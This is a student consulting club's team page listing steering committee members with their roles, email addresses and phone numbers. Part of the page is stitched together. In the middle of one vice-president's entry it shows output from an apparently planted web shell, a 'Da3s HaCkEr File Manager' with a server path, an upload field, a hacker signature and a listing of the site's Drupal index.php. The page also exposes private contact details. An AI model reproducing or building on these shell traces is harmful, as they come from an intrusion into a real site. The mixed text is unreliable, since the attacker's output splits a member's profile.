The Steering Committee is composed of the Presidents, the Vice-Presidents, the Finance Manager, the Quality Manager and the Secretary. Together they sustain the permanent development and decide on the big strategic issues in the Club. Moreover they monitor finances and ensure resources are maximised to always deliver good results to a constantly changing environment.

Meet the Team

Sophie Buisset

President

Sophie Buisset

President
Email: Sophie.buisset@sbs-studentconsultingclub.be
Phone: +32 489 29 07 49

Anthony Varisano

Vice President Executive

Anthony Varisano

Vice President Executive
Email: eventsmaganer@sbs-studentconsultingclub.be
Phone:

Guillaume Nokerman

Vice President Relations Clients & Partners

Guillaume Nokerman

Vice President Relations Clients & Partners
Email: Guillaume.nokerman@sbs-studentconsultingclub.be
Phone:

Daniel Azbel

Vice President Operations

Daniel Azbel

Vice President Operations
HaTRk File Manager

Da3s HaCkEr File Manager

Current Path : /home/webtatiw/Solvay/www/
Upload File :
Current File : /home/webtatiw/Solvay/www/index.php

<?php

/**
 * @file
 * The PHP page that serves all page requests on a Drupal installation.
 *
 * The routines here dispatch control to the appropriate handler, which then
 * prints the appropriate page.
 *
 * All Drupal code is released under the GNU General Public License.
 * See COPYRIGHT.txt and LICENSE.txt.
 */

/**
 * Root directory of Drupal installation.
 */
define('DRUPAL_ROOT', getcwd());

require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();

Da3s File Manager Version 1.0, Coded By Da3s HaCkEr
Email: R0@hotmail.com
Email: daniel.azbel@sbs-studentconsultingclub.be
Phone: +32 472 50 49 66

Fabio Pereira

Vice President Finance

Fabio Pereira

Vice President Finance
Email: fabio.pereira@sbs-studentconsultingclub.be
Phone:

Laurianne Salmon

Vice President SCC Academy

Laurianne Salmon

Vice President SCC Academy
Email: laurianne.salmon@sbs-studentconsultingclub.be
Phone: